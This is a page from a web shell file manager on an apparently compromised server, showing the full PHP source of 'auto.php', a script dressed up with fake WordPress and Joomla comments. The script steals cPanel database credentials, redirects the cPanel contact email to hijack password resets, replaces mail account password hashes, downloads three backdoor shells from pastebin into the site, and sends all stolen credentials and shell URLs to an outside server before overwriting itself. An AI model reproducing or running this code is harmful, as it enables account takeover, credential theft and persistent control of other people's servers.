# Gabesi TN File Manager V1 #

Current Path : /multisite7/www/
Upload File :
Current File : /multisite7/www/auto.php

<?php
//Bksmile **(RooTTN)**
/**
 * The template for displaying all single posts.
 *
 * @package naturelle
 */ 
/**
 * @package    Joomla.Site
 * @copyright  Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
set_time_limit(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);
//
//curent user
$user=get_current_user();
if (file_exists('/home/'.$user.'/.my.cnf')) {
    echo "\r\n----------CP------------\r\n";
echo $fg=file_get_contents('/home/'.$user.'/.my.cnf');
send($_SERVER['SERVER_NAME']."  ".$fg);
	echo "\r\n----------CP------------\r\n";
}
@unlink($_SERVER['DOCUMENT_ROOT']."/../.cpanel/contactinfo");
@file_put_contents($_SERVER['DOCUMENT_ROOT']."/../.contactemail", 'vujod@spindl-e.com'); 
//   
echo'<h1>'.$user.'</h1>';
echo'<h1><a target=\"_blank\" href="http://'.gethostname().':2082/resetpass?user='.$user.'&action=send">Reset</a></h1>';
	echo '<textarea name="list" placeholder="" style="width: 507px; height: 51px; margin: 0px;">'."\n";
	echo gethostname().'|'.$user.'|';
	echo "</textarea><br>\n";
echo'<br>-------------------------------------------------'."\r\n";
//Bksmile **(RooTTN)**
set_time_limit(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);
//curent user
$user=get_current_user();
// host name
$t = $_SERVER['SERVER_NAME'];
//edit
$t = @str_replace("www.","",$t);
 //get users
 foreach(glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR) as $dir) {
    $dirname = basename($dir);
@$passwd = file_get_contents('/home/'.$user.'/etc/'.$dirname.'/shadow');
//edit
$ex=explode("\r\n",$passwd);
//backup shadow
@link('/home/'.$user.'/etc/'.$dirname.'/shadow','/home/'.$user.'/etc/'.$dirname.'/shadow.roottn.bak');
//delete shadow
@unlink('/home/'.$user.'/etc/'.$dirname.'/shadow');
// :D
foreach($ex as $ex){
$ex=explode(':',$ex);
$e= $ex[0];
$pwd = randomPassword();
 $pwd_rand_crypt = crypt($pwd,'$6$roottn$');
if ($e){
$b=fopen('/home/'.$user.'/etc/'.$dirname.'/shadow','ab');fwrite($b,$e.':'.$pwd_rand_crypt.':16249:::::'."\r\n");fclose($b);
echo '<span style=\'color:#00ff00;\'>'.$dirname.'|25|'.$e.'@'.$dirname.'|'.$pwd.'</span><br>';  "</center>";
send($dirname.'|25|'.$e.'@'.$dirname.'|'.$pwd);
}}
}
function randomPassword() {
    $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    $pass = array(); //remember to declare $pass as an array
    $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
    for ($i = 0; $i < 8; $i++) {
        $n = rand(0, $alphaLength);
        $pass[] = $alphabet[$n];
    }
    return implode($pass); //turn the array into a string
}
echo'<br>-------------------------------------------------'."\r\n";
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/indexe.php" ;
$text = http_get('http://pastebin.com/raw/4hcTCbyk');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo "<br>http://".$_SERVER['SERVER_NAME']."/indexe.php</br>";
send("http://".$_SERVER['SERVER_NAME']."/indexe.php");
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/indax.php" ;
$text = http_get('http://pastebin.com/raw/tt6ihUiJ');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo "<br>http://".$_SERVER['SERVER_NAME']."/indax.php?pass=M182</br>";
send("http://".$_SERVER['SERVER_NAME']."/indax.php?pass=M182");
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/bk.php" ;
$text = http_get('http://pastebin.com/raw/hsc2ThvL');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo "<br>http://".$_SERVER['SERVER_NAME']."/wp-admin/bk.php</br>";
send("http://".$_SERVER['SERVER_NAME']."/wp-admin/bk.php");
}
@file_put_contents(__FILE__,'Bksmile **(RooTTN)**');  
function send($data) {
$data = base64_encode($data);
$ch = curl_init("https://www.warlas.com/bk/1.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('x'=>"$data"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
}
?>

Da3s File Manager Version 1.0, Coded By Da3s HaCkEr
Email: R0@hotmail.com